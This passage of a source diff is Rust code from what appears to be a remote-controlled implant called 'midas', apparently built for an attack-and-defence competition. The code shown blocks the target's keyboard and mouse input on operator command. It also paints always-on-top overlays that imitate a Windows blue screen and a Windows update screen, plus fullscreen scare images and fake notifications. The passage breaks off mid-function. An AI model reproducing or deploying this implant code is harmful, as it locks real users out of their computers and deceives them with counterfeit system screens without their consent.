// tokens. A hold is the current one or it is nothing; a superseded hold gives
|
||||
// up without touching the flag, and `release_input_lock` (used by `stopall`)
|
||||
// clears the flag directly and bumps the generation so the holder sees it no
|
||||
// longer owns anything.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Serial number of the current input hold.
|
||||
///
|
||||
/// Incremented when a new hold starts and when `stopall` releases. A holder
|
||||
/// unblocks only if it is still the current generation when its turn ends, so
|
||||
/// an overtaken hold can never clear a newer one's block.
|
||||
static INPUT_GEN: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
/// A running `lockinput` hold, so `sysinfo` and `stopall` can see and end it.
|
||||
#[derive(Clone)]
|
||||
struct InputHold {
|
||||
gen: u64,
|
||||
born: SystemTime,
|
||||
}
|
||||
|
||||
static INPUT_HOLD: OnceLock<Mutex<Option<InputHold>>> = OnceLock::new();
|
||||
|
||||
fn input_hold() -> &'static Mutex<Option<InputHold>> {
|
||||
INPUT_HOLD.get_or_init(|| Mutex::new(None))
|
||||
}
|
||||
|
||||
/// The generation of the current hold, read by `win::hold_input`.
|
||||
pub(crate) fn current_input_gen() -> u64 {
|
||||
INPUT_GEN.load(Ordering::SeqCst)
|
||||
}
|
||||
|
||||
/// Starts an input hold and returns immediately.
|
||||
///
|
||||
/// `seconds == 0` holds until `stopall`; anything else is an approximate
|
||||
/// timeout (the worker polls, so the real release lands within 100 ms of the
|
||||
/// mark). The `BlockInput` call itself happens on the worker thread, so an
|
||||
/// implant that is not elevated acks optimistically and reports the refusal in
|
||||
/// its own log, exactly as before - and clears the registry entry so `sysinfo`
|
||||
/// never claims a lock exists when it does not.
|
||||
pub fn lock_input(seconds: u64) -> Result<(), String> {
|
||||
let duration = if seconds == 0 {
|
||||
None
|
||||
} else {
|
||||
Some(Duration::from_secs(seconds))
|
||||
};
|
||||
|
||||
// A new hold supersedes any running one. Bumping *before* the new holder
|
||||
// blocks means an older holder that finishes in the same instant sees it is
|
||||
// no longer current and does not clear the new block.
|
||||
let gen = INPUT_GEN.fetch_add(1, Ordering::SeqCst) + 1;
|
||||
|
||||
if let Ok(mut hold) = input_hold().lock() {
|
||||
*hold = Some(InputHold {
|
||||
gen,
|
||||
born: SystemTime::now(),
|
||||
});
|
||||
}
|
||||
|
||||
detach(move || {
|
||||
if let Err(e) = win::hold_input(gen, duration) {
|
||||
crate::log::log_lazy(|| format!("lockinput failed: {e}"));
|
||||
}
|
||||
|
||||
// Clear the registry entry, but only if it still describes this hold -
|
||||
// a newer one may have taken over while the worker was finishing.
|
||||
if let Ok(mut hold) = input_hold().lock() {
|
||||
if hold.as_ref().is_some_and(|h| h.gen == gen) {
|
||||
*hold = None;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Whether a `lockinput` hold is registered as running.
|
||||
pub fn input_lock_active() -> bool {
|
||||
input_hold()
|
||||
.lock()
|
||||
.map(|hold| hold.is_some())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// The status line for `sysinfo`, or `None` when nothing is held.
|
||||
pub fn input_lock_status() -> Option<String> {
|
||||
let hold = input_hold().lock().ok().and_then(|h| h.clone())?;
|
||||
let age = hold.born.elapsed().map(|d| d.as_secs()).unwrap_or(0);
|
||||
Some(format!("input lock: active for {age}s, until stopall"))
|
||||
}
|
||||
|
||||
/// Ends any running input hold.
|
||||
///
|
||||
/// Idempotent and safe to call when nothing is held: clearing the flag is a
|
||||
/// no-op for an unlocked system, which is how `stopall` can do it on every
|
||||
/// call. The generation bump stops the holding thread from clearing the flag it
|
||||
/// no longer owns - by the time it notices, `unblock_input` has already cleared
|
||||
/// it, and re-clearing is harmless anyway.
|
||||
pub fn release_input_lock() {
|
||||
INPUT_GEN.fetch_add(1, Ordering::SeqCst);
|
||||
win::unblock_input();
|
||||
if let Ok(mut hold) = input_hold().lock() {
|
||||
*hold = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks a file exists and is readable before an ack is sent.
|
||||
///
|
||||
/// The GUI thread decodes the image itself, but by then the operator has
|
||||
/// already been told the overlay launched. A cheap up-front check means a
|
||||
/// mistyped path comes back as a failed task result instead of an ack for an
|
||||
/// overlay that never appeared.
|
||||
pub fn require_readable_file(path: &str) -> Result<(), String> {
|
||||
if path.trim().is_empty() {
|
||||
return Err("path is empty".into());
|
||||
}
|
||||
|
||||
let metadata = std::fs::metadata(path).map_err(|e| format!("{path}: {e}"))?;
|
||||
if !metadata.is_file() {
|
||||
return Err(format!("{path} is not a file"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn describe_overlays() -> String {
|
||||
let registry = registry();
|
||||
let Ok(active) = registry.lock() else {
|
||||
return "overlay registry is poisoned".to_string();
|
||||
};
|
||||
|
||||
if active.is_empty() {
|
||||
return "no overlays running".to_string();
|
||||
}
|
||||
|
||||
let mut lines: Vec<String> = active
|
||||
.values()
|
||||
.map(|entry| {
|
||||
let age = entry
|
||||
.born
|
||||
.elapsed()
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0);
|
||||
let lifetime = match entry.deadline {
|
||||
Some(deadline) => {
|
||||
let left = deadline.saturating_duration_since(Instant::now()).as_secs();
|
||||
format!("{age}s old, {left}s left")
|
||||
}
|
||||
None => format!("{age}s old, until stopall"),
|
||||
};
|
||||
format!("#{} {} ({lifetime})", entry.id, entry.label)
|
||||
})
|
||||
.collect();
|
||||
|
||||
lines.sort();
|
||||
lines.join("\n")
|
||||
}
|
||||
|
||||
/// Runs a blocking native call on a worker thread and returns immediately.
|
||||
///
|
||||
/// Used for everything that would otherwise hold the check-in loop: modal
|
||||
/// dialogs, audio, window shaking, input blocking. Panics from raw OS calls are
|
||||
/// contained so a failed prank cannot take the implant down mid-competition.
|
||||
pub fn detach<F>(work: F)
|
||||
where
|
||||
F: FnOnce() + Send + 'static,
|
||||
{
|
||||
std::thread::spawn(move || {
|
||||
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(work));
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Called by the GUI thread
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub(crate) fn register_active(active: Active) {
|
||||
if let Ok(mut registry) = registry().lock() {
|
||||
registry.insert(active.id, active);
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn unregister_active(id: u64) {
|
||||
if let Ok(mut registry) = registry().lock() {
|
||||
registry.remove(&id);
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn current_stop_epoch() -> u64 {
|
||||
STOP_EPOCH.load(Ordering::SeqCst)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Stopping things that block
|
||||
//
|
||||
// Windows needs none of the polling machinery a process-based backend would.
|
||||
// `PlaySoundW` is in-process and is ended by calling it again with a null
|
||||
// sound; a message box is dismissed with its own OK button; a blocked cursor is
|
||||
// restored by the thread that moved it; a `BlockInput` hold is ended by
|
||||
// clearing the system-wide flag directly (see `Input hold` above). `stop_all`
|
||||
// reaches each of those directly, which is why it returns immediately rather
|
||||
// than waiting for anything to wind down.
|
||||
// ---------------------------------------------------------------------------
|
||||
969
implants/midas/src/gui/overlay.rs
Normal file
969
implants/midas/src/gui/overlay.rs
Normal file
@ -0,0 +1,969 @@
|
||||
//! The egui application that hosts every overlay.
|
||||
//!
|
||||
//! One `eframe` instance, one winit event loop, many viewports. See the module
|
||||
//! docs in `gui/mod.rs` for why that is the only shape that works.
|
||||
//!
|
||||
//! Overlays are drawn rather than borrowed from native widgets because there is
|
||||
//! no native "fake blue screen" to borrow. The exception is `msgbox`, which uses
|
||||
//! the real `MessageBoxW` on Windows precisely *because* a genuine system dialog
|
||||
//! is the joke - see `gui/win.rs`.
|
||||
//!
|
||||
//! ## Drawing style
|
||||
//!
|
||||
//! Each overlay's callback shows an empty `CentralPanel` purely to obtain a
|
||||
//! `LayerId` and the viewport's available rect, then paints with the returned
|
||||
//! `Painter`. That is deliberate: the panels' default frame, margins and
|
||||
//! `CentralPanel` styling are all unwanted for a full-bleed fake dialog, and
|
||||
//! painting directly keeps every element positioned in absolute pixels.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::Ordering;
|
||||
use std::sync::mpsc::Receiver;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use egui::{
|
||||
pos2, vec2, Align2, CentralPanel, Color32, Context, FontId, Frame, Painter, Pos2, Rect, Stroke,
|
||||
TextureHandle, TextureOptions, Vec2, ViewportBuilder, ViewportId, WindowLevel,
|
||||
};
|
||||
|
||||
use super::{current_stop_epoch, register_active, unregister_active, Active, Overlay, Request};
|
||||
use crate::rng::Rng;
|
||||
|
||||
/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
|
||||
/// core for the lifetime of a `spook` overlay; 20fps is plenty for static.
|
||||
const SPOOK_FRAME_MS: u64 = 50;
|
||||
|
||||
/// Textures larger than this are downscaled before upload.
|
||||
///
|
||||
/// The ceiling is not arbitrary: egui's default `max_texture_side` is 2048, and
|
||||
/// `load_texture` debug-asserts against it. Going above that would need the
|
||||
/// context's option changed as well.
|
||||
const MAX_TEXTURE_DIM: u32 = 2048;
|
||||
|
||||
/// The UV rectangle covering a whole texture.
|
||||
const UV_FULL: Rect = Rect {
|
||||
min: Pos2::ZERO,
|
||||
max: pos2(1.0, 1.0),
|
||||
};
|
||||
|
||||
/// Decoded, ready-to-draw overlay state.
|
||||
enum Content {
|
||||
Image {
|
||||
texture: TextureHandle,
|
||||
natural: Vec2,
|
||||
mode: String,
|
||||
topmost: bool,
|
||||
},
|
||||
Bsod {
|
||||
stopcode: String,
|
||||
percent: i64,
|
||||
},
|
||||
Update {
|
||||
title: String,
|
||||
percent: i64,
|
||||
},
|
||||
Toast {
|
||||
title: String,
|
||||
body: String,
|
||||
},
|
||||
Note {
|
||||
text: String,
|
||||
x: f32,
|
||||
y: f32,
|
||||
size: f32,
|
||||
},
|
||||
Spook {
|
||||
mode: String,
|
||||
},
|
||||
}
|
||||
|
||||
struct Live {
|
||||
content: Content,
|
||||
cancel: std::sync::Arc<std::sync::atomic::AtomicBool>,
|
||||
deadline: Option<Instant>,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub(crate) fn run(rx: Receiver<Request>) {
|
||||
let options = eframe::NativeOptions {
|
||||
// The root viewport is never shown; every visible surface is a child
|
||||
// viewport. Without this there is a stray 1x1 window on the desktop.
|
||||
viewport: ViewportBuilder::default()
|
||||
.with_app_id("midas-root")
|
||||
.with_visible(false)
|
||||
.with_decorations(false)
|
||||
.with_inner_size([1.0, 1.0]),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
// Both an error and a panic have to be reported rather than swallowed.
|
||||
//
|
||||
// `run_native` returning is the only signal the check-in thread gets, and it
|
||||
// only ever learns "the channel is dead" - which says nothing about the
|
||||
// cause. The overwhelmingly common cause is a target with no usable OpenGL
|
||||
// implementation, such as a bare VM or an RDP session, where context
|
||||
// creation fails before the first frame. That is an operator-facing fact:
|
||||
// every overlay command will fail on this host, and the reason should come
|
||||
// back in the task result instead of a generic message.
|
||||
let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||
eframe::run_native(
|
||||
"midas",
|
||||
options,
|
||||
Box::new(move |_cc| Ok(Box::new(OverlayApp { rx, live: HashMap::new() }))),
|
||||
)
|
||||
}));
|
||||
|
||||
let reason = match outcome {
|
||||
Ok(Ok(())) => "the overlay event loop exited on its own".to_string(),
|
||||
Ok(Err(e)) => format!("could not start the overlay event loop: {e}"),
|
||||
Err(panic) => {
|
||||
// A panic payload is a `&str` or `String` depending on how it was
|
||||
// raised, and anything else is not worth printing.
|
||||
let payload = panic
|
||||
.downcast_ref::<&str>()
|
||||
.map(|s| (*s).to_string())
|
||||
.or_else(|| panic.downcast_ref::<String>().cloned())
|
||||
.unwrap_or_else(|| "(no message)".to_string());
|
||||
|
||||
format!(
|
||||
"the overlay event loop panicked: {}",
|
||||
crate::log::normalise_panic(&payload)
|
||||
)
|
||||
}
|
||||
};
|
||||
|
||||
super::record_host_failure(reason);
|
||||
}
|
||||
|
||||
struct OverlayApp {
|
||||
rx: Receiver<Request>,
|
||||
live: HashMap<u64, Live>,
|
||||
}
|
||||
|
||||
impl eframe::App for OverlayApp {
|
||||
fn update(&mut self, ctx: &Context, _frame: &mut eframe::Frame) {
|
||||
self.drain(ctx);
|
||||
self.expire();
|
||||
|
||||
let screen = screen_rect(ctx);
|
||||
let time = ctx.input(|i| i.time);
|
||||
|
||||
let ids: Vec<u64> = self.live.keys().copied().collect();
|
||||
let mut animated: Vec<ViewportId> = Vec::new();
|
||||
|
||||
for id in ids {
|
||||
let Some(live) = self.live.get_mut(&id) else {
|
||||
continue;
|
||||
};
|
||||
|
||||
let viewport_id = ViewportId::from_hash_of(id);
|
||||
let builder = live.content.builder(ctx, id, screen);
|
||||
|
||||
if live.content.animated() {
|
||||
animated.push(viewport_id);
|
||||
}
|
||||
|
||||
// A viewport stays alive for as long as `show_viewport_immediate` is
|
||||
// called with the same id, so dropping the entry in `expire` is what
|
||||
// closes the window.
|
||||
ctx.show_viewport_immediate(viewport_id, builder, |ctx, _class| {
|
||||
let panel = CentralPanel::default()
|
||||
.frame(Frame::none())
|
||||
.show(ctx, |_ui| {});
|
||||
|
||||
let rect = panel.response.rect;
|
||||
let mut painter = panel.response.ctx.layer_painter(panel.response.layer_id);
|
||||
painter.set_clip_rect(rect);
|
||||
|
||||
live.content.draw(&mut painter, rect, time, id);
|
||||
});
|
||||
}
|
||||
|
||||
// Repaints are requested per-viewport so the other overlays do not have
|
||||
// to be redrawn 20 times a second just because one is animating.
|
||||
for viewport_id in animated {
|
||||
ctx.request_repaint_after_for(Duration::from_millis(SPOOK_FRAME_MS), viewport_id);
|
||||
}
|
||||
}
|
||||
|
||||
fn on_exit(&mut self, _gl: Option<&eframe::glow::Context>) {
|
||||
for id in self.live.keys() {
|
||||
unregister_active(*id);
|
||||
}
|
||||
self.live.clear();
|
||||
}
|
||||
}
|
||||
|
||||
impl OverlayApp {
|
||||
fn drain(&mut self, ctx: &Context) {
|
||||
while let Ok(request) = self.rx.try_recv() {
|
||||
// A stop that landed between submission and this drain wins. See the
|
||||
// STOP_EPOCH note in gui/mod.rs.
|
||||
if request.epoch < current_stop_epoch() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match prepare(&request, ctx) {
|
||||
Ok(content) => {
|
||||
let deadline = request.duration.map(|d| Instant::now() + d);
|
||||
|
||||
register_active(Active {
|
||||
id: request.id,
|
||||
label: request.kind.label(),
|
||||
born: SystemTime::now(),
|
||||
deadline,
|
||||
cancel: request.cancel.clone(),
|
||||
});
|
||||
|
||||
self.live.insert(
|
||||
request.id,
|
||||
Live {
|
||||
content,
|
||||
cancel: request.cancel,
|
||||
deadline,
|
||||
},
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
// Paths are checked before the ack is sent, so reaching here
|
||||
// means the file became unreadable, or stopped being a
|
||||
// decodable image, in between.
|
||||
crate::log::log(&format!("overlay {} failed: {e}", request.id));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn expire(&mut self) {
|
||||
let now = Instant::now();
|
||||
|
||||
let expired: Vec<u64> = self
|
||||
.live
|
||||
.iter()
|
||||
.filter(|(_, live)| {
|
||||
live.cancel.load(Ordering::SeqCst)
|
||||
|| live.deadline.is_some_and(|d| now >= d)
|
||||
})
|
||||
.map(|(id, _)| *id)
|
||||
.collect();
|
||||
|
||||
for id in expired {
|
||||
self.live.remove(&id);
|
||||
unregister_active(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The whole screen, falling back to a plausible desktop if the backend has not
|
||||
/// reported one yet.
|
||||
fn screen_rect(ctx: &Context) -> Rect {
|
||||
let rect = ctx.input(|i| i.screen_rect);
|
||||
if rect.width() > 0.0 && rect.height() > 0.0 {
|
||||
rect
|
||||
} else {
|
||||
// Reported as `Rect::NOTHING` until the first frame completes, which
|
||||
// would otherwise produce zero-sized viewports on the first pass.
|
||||
Rect::from_min_size(Pos2::ZERO, vec2(1920.0, 1080.0))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Preparation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn prepare(request: &Request, ctx: &Context) -> Result<Content, String> {
|
||||
match &request.kind {
|
||||
Overlay::Image {
|
||||
path,
|
||||
mode,
|
||||
topmost,
|
||||
} => {
|
||||
let (texture, natural) = load_texture(ctx, path)?;
|
||||
Ok(Content::Image {
|
||||
texture,
|
||||
natural,
|
||||
mode: mode.clone(),
|
||||
topmost: *topmost,
|
||||
})
|
||||
}
|
||||
|
||||
// A scare is just a fullscreen image; the sound half is played by the
|
||||
// command layer so this side stays purely visual.
|
||||
Overlay::Scare { path } => {
|
||||
let (texture, natural) = load_texture(ctx, path)?;
|
||||
Ok(Content::Image {
|
||||
texture,
|
||||
natural,
|
||||
mode: "fullscreen".to_string(),
|
||||
topmost: true,
|
||||
})
|
||||
}
|
||||
|
||||
Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
|
||||
stopcode: stopcode.clone(),
|
||||
percent: *percent,
|
||||
}),
|
||||
|
||||
Overlay::Update { title, percent } => Ok(Content::Update {
|
||||
title: title.clone(),
|
||||
percent: *percent,
|
||||
}),
|
||||
|
||||
Overlay::Toast { title, body } => Ok(Content::Toast {
|
||||
title: title.clone(),
|
||||
body: body.clone(),
|
||||
}),
|
||||
|
||||
Overlay::Note { text, x, y, size } => Ok(Content::Note {
|
||||
text: text.clone(),
|
||||
x: *x as f32,
|
||||
y: *y as f32,
|
||||
size: *size as f32,
|
||||
}),
|
||||
|
||||
Overlay::Spook { mode } => Ok(Content::Spook {
|
||||
mode: mode.clone(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn load_texture(ctx: &Context, path: &str) -> Result<(TextureHandle, Vec2), String> {
|
||||
let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
|
||||
let decoded = image::load_from_memory(&bytes)
|
||||
.map_err(|e| format!("{path}: {e}"))?
|
||||
.to_rgba8();
|
||||
|
||||
let (width, height) = decoded.dimensions();
|
||||
if width == 0 || height == 0 {
|
||||
return Err(format!("{path}: image has no dimensions"));
|
||||
}
|
||||
|
||||
let decoded = if width > MAX_TEXTURE_DIM || height > MAX_TEXTURE_DIM {
|
||||
let scale = MAX_TEXTURE_DIM as f32 / width.max(height) as f32;
|
||||
image::imageops::resize(
|
||||
&decoded,
|
||||
(width as f32 * scale).round() as u32,
|
||||
(height as f32 * scale).round() as u32,
|
||||
image::imageops::FilterType::Triangle,
|
||||
)
|
||||
} else {
|
||||
decoded
|
||||
};
|
||||
|
||||
let (width, height) = decoded.dimensions();
|
||||
let natural = Vec2::new(width as f32, height as f32);
|
||||
let color = egui::ColorImage::from_rgba_unmultiplied(
|
||||
[width as usize, height as usize],
|
||||
decoded.as_raw(),
|
||||
);
|
||||
|
||||
let texture = ctx.load_texture(
|
||||
format!("midas-{path}"),
|
||||
color,
|
||||
TextureOptions::LINEAR,
|
||||
);
|
||||
|
||||
Ok((texture, natural))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Viewport geometry
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
impl Content {
|
||||
fn animated(&self) -> bool {
|
||||
matches!(self, Content::Spook { .. })
|
||||
}
|
||||
|
||||
fn builder(&self, ctx: &Context, id: u64, screen: Rect) -> ViewportBuilder {
|
||||
let app_id = format!("midas-{id}");
|
||||
let title = format!("midas {id}");
|
||||
let screen = screen.size();
|
||||
|
||||
let base = ViewportBuilder::default()
|
||||
.with_app_id(app_id)
|
||||
.with_title(title)
|
||||
.with_decorations(false)
|
||||
.with_resizable(false);
|
||||
|
||||
match self {
|
||||
Content::Image {
|
||||
natural, mode, topmost, ..
|
||||
} => {
|
||||
let size = match mode.as_str() {
|
||||
"fullscreen" => screen,
|
||||
"center" => *natural,
|
||||
// `fit` is the only remaining mode, so it is the default arm.
|
||||
_ => *natural * 0.7,
|
||||
};
|
||||
|
||||
let size = Vec2::new(
|
||||
size.x.min(screen.x).max(1.0),
|
||||
size.y.min(screen.y).max(1.0),
|
||||
);
|
||||
|
||||
base.with_inner_size(size)
|
||||
.with_position(pos2(
|
||||
((screen.x - size.x) / 2.0).round(),
|
||||
((screen.y - size.y) / 2.0).round(),
|
||||
))
|
||||
.with_transparent(mode != "fullscreen")
|
||||
.with_window_level(if *topmost {
|
||||
WindowLevel::AlwaysOnTop
|
||||
} else {
|
||||
// `Normal` rather than "unset": a viewport level must
|
||||
// be chosen explicitly to override whatever the root
|
||||
// window happens to use.
|
||||
WindowLevel::Normal
|
||||
})
|
||||
}
|
||||
|
||||
Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => base
|
||||
.with_fullscreen(true)
|
||||
.with_window_level(WindowLevel::AlwaysOnTop),
|
||||
|
||||
Content::Toast { title, body } => {
|
||||
let _ = title;
|
||||
|
||||
// Measure the body so a long notification is not clipped by a
|
||||
// fixed-height window.
|
||||
let galley = ctx.fonts(|f| {
|
||||
f.layout(
|
||||
body.clone(),
|
||||
FontId::proportional(13.0),
|
||||
Color32::PLACEHOLDER,
|
||||
TOAST_TEXT_WIDTH,
|
||||
)
|
||||
});
|
||||
|
||||
let size = Vec2::new(
|
||||
TOAST_TEXT_WIDTH + TOAST_PADDING * 2.0,
|
||||
(TOAST_HEADER + galley.size().y + TOAST_PADDING).min(320.0),
|
||||
);
|
||||
let margin = 16.0;
|
||||
|
||||
base.with_inner_size(size)
|
||||
.with_position(pos2(
|
||||
(screen.x - size.x - margin).max(0.0).round(),
|
||||
(screen.y - size.y - margin).max(0.0).round(),
|
||||
))
|
||||
.with_transparent(true)
|
||||
.with_window_level(WindowLevel::AlwaysOnTop)
|
||||
}
|
||||
|
||||
Content::Note {
|
||||
text, x, y, size: font_size, ..
|
||||
} => {
|
||||
let font = FontId::proportional(*font_size);
|
||||
let galley = ctx.fonts(|f| {
|
||||
f.layout(
|
||||
text.clone(),
|
||||
font,
|
||||
Color32::PLACEHOLDER,
|
||||
screen.x * 0.7,
|
||||
)
|
||||
});
|
||||
|
||||
let size = Vec2::new(
|
||||
(galley.size().x + 32.0).clamp(64.0, screen.x * 0.95),
|
||||
(galley.size().y + 24.0).max(font_size * 2.0),
|
||||
);
|
||||
|
||||
base.with_inner_size(size)
|
||||
.with_position(pos2(
|
||||
x.clamp(0.0, (screen.x - size.x).max(0.0)),
|
||||
y.clamp(0.0, (screen.y - size.y).max(0.0)),
|
||||
))
|
||||
.with_transparent(true)
|
||||
.with_window_level(WindowLevel::AlwaysOnTop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Drawing
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
fn draw(&self, painter: &mut Painter, rect: Rect, time: f64, seed: u64) {
|
||||
match self {
|
||||
Content::Image {
|
||||
texture,
|
||||
natural,
|
||||
mode,
|
||||
..
|
||||
} => draw_image(painter, rect, texture, *natural, mode),
|
||||
|
||||
Content::Bsod { stopcode, percent } => {
|
||||
draw_bsod(painter, rect, stopcode, *percent)
|
||||
}
|
||||
|
||||
Content::Update { title, percent } => {
|
||||
draw_update(painter, rect, title, *percent)
|
||||
}
|
||||
|
||||
Content::Toast { title, body } => draw_toast(painter, rect, title, body),
|
||||
|
||||
Content::Note { text, size, .. } => {
|
||||
draw_note(painter, rect, text, *size)
|
||||
}
|
||||
|
||||
Content::Spook { mode } => draw_spook(painter, rect, mode, time, seed),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Per-overlay painters
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Toast metrics, shared between sizing the window and painting into it.
|
||||
const TOAST_PADDING: f32 = 14.0;
|
||||
const TOAST_TEXT_WIDTH: f32 = 320.0;
|
||||
const TOAST_HEADER: f32 = 40.0;
|
||||
const TOAST_LINE_HEIGHT: f32 = 17.0;
|
||||
|
||||
fn draw_image(
|
||||
painter: &Painter,
|
||||
rect: Rect,
|
||||
texture: &TextureHandle,
|
||||
natural: Vec2,
|
||||
mode: &str,
|
||||
) {
|
||||
let (scale, offset) = if mode == "fullscreen" {
|
||||
// `cover`: fill the viewport and let the overflow crop. More dramatic
|
||||
// than letterboxing, which is the point for a fullscreen scare.
|
||||
let scale = (rect.width() / natural.x).max(rect.height() / natural.y);
|
||||
(
|
||||
scale,
|
||||
Vec2::new(
|
||||
(rect.width() - natural.x * scale) / 2.0,
|
||||
(rect.height() - natural.y * scale) / 2.0,
|
||||
),
|
||||
)
|
||||
} else {
|
||||
// `contain`: never upscale past 1:1, never crop.
|
||||
let scale = (rect.width() / natural.x).min(rect.height() / natural.y).min(1.0);
|
||||
(scale, (rect.size() - natural * scale) / 2.0)
|
||||
};
|
||||
|
||||
painter.image(
|
||||
texture.id(),
|
||||
Rect::from_min_size(rect.min + offset, natural * scale),
|
||||
UV_FULL,
|
||||
Color32::WHITE,
|
||||
);
|
||||
}
|
||||
|
||||
fn draw_bsod(painter: &Painter, rect: Rect, stopcode: &str, percent: i64) {
|
||||
let white = Color32::WHITE;
|
||||
painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 0, 170));
|
||||
|
||||
let pad = rect.width() * 0.06;
|
||||
|
||||
// The frown, at roughly the height a real BSOD puts it.
|
||||
let frown = FontId::monospace((rect.height() * 0.15).min(rect.width() * 0.15));
|
||||
painter.text(
|
||||
pos2(rect.center().x, rect.min.y + rect.height() * 0.26),
|
||||
Align2::CENTER_CENTER,
|
||||
":(",
|
||||
frown,
|
||||
white,
|
||||
);
|
||||
|
||||
let bar_size = Vec2::new(rect.width() * 0.26, 18.0);
|
||||
let bar = Rect::from_center_size(
|
||||
pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
|
||||
bar_size,
|
||||
);
|
||||
painter.rect_filled(bar, 2.0, Color32::from_white_alpha(45));
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
bar.min,
|
||||
Vec2::new(
|
||||
bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
|
||||
bar_size.y,
|
||||
),
|
||||
),
|
||||
2.0,
|
||||
white,
|
||||
);
|
||||
|
||||
painter.text(
|
||||
pos2(rect.center().x, bar.max.y + 22.0),
|
||||
Align2::CENTER_TOP,
|
||||
format!("{percent}% complete"),
|
||||
FontId::proportional(17.0),
|
||||
white,
|
||||
);
|
||||
|
||||
let body = FontId::proportional((rect.width() * 0.014).clamp(12.0, 22.0));
|
||||
let left = pos2(rect.min.x + pad, rect.max.y - pad);
|
||||
let right = pos2(rect.max.x - pad, rect.max.y - pad);
|
||||
|
||||
let lines: [(&str, Align2, Pos2); 4] = [
|
||||
(
|
||||
"Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
|
||||
Align2::LEFT_BOTTOM,
|
||||
left,
|
||||
),
|
||||
(
|
||||
"For more information about this error and possible fixes, visit",
|
||||
Align2::LEFT_BOTTOM,
|
||||
pos2(left.x, left.y - 46.0),
|
||||
),
|
||||
(
|
||||
"https://www.windows.com/werr",
|
||||
Align2::LEFT_BOTTOM,
|
||||
pos2(left.x, left.y - 70.0),
|
||||
),
|
||||
("100% complete", Align2::RIGHT_BOTTOM, right),
|
||||
];
|
||||
|
||||
for (line, anchor, at) in lines {
|
||||
painter.text(at, anchor, line, body.clone(), white);
|
||||
}
|
||||
|
||||
painter.text(
|
||||
pos2(right.x, right.y - 46.0),
|
||||
Align2::RIGHT_BOTTOM,
|
||||
format!("Stop code: {stopcode}"),
|
||||
body,
|
||||
white,
|
||||
);
|
||||
}
|
||||
|
||||
fn draw_update(painter: &Painter, rect: Rect, title: &str, percent: i64) {
|
||||
let white = Color32::WHITE;
|
||||
let accent = Color32::from_rgb(0, 120, 215);
|
||||
|
||||
painter.rect_filled(rect, 0.0, Color32::from_rgb(24, 32, 48));
|
||||
|
||||
// A lighter band across the upper portion, approximating the Windows update
|
||||
// screen well enough to read as "this is a system dialog".
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(rect.min, Vec2::new(rect.width(), rect.height() * 0.4)),
|
||||
0.0,
|
||||
Color32::from_rgb(32, 48, 74),
|
||||
);
|
||||
|
||||
painter.text(
|
||||
pos2(rect.center().x, rect.min.y + rect.height() * 0.30),
|
||||
Align2::CENTER_CENTER,
|
||||
title,
|
||||
FontId::proportional((rect.width() * 0.026).clamp(20.0, 48.0)),
|
||||
white,
|
||||
);
|
||||
|
||||
painter.text(
|
||||
pos2(rect.center().x, rect.min.y + rect.height() * 0.40),
|
||||
Align2::CENTER_CENTER,
|
||||
"Please wait while your computer installs updates",
|
||||
FontId::proportional((rect.width() * 0.013).clamp(12.0, 22.0)),
|
||||
Color32::from_white_alpha(200),
|
||||
);
|
||||
|
||||
let bar_size = Vec2::new(rect.width() * 0.3, 8.0);
|
||||
let bar = Rect::from_center_size(
|
||||
pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
|
||||
bar_size,
|
||||
);
|
||||
painter.rect_filled(bar, 4.0, Color32::from_white_alpha(40));
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
bar.min,
|
||||
Vec2::new(
|
||||
bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
|
||||
bar_size.y,
|
||||
),
|
||||
),
|
||||
4.0,
|
||||
accent,
|
||||
);
|
||||
|
||||
painter.text(
|
||||
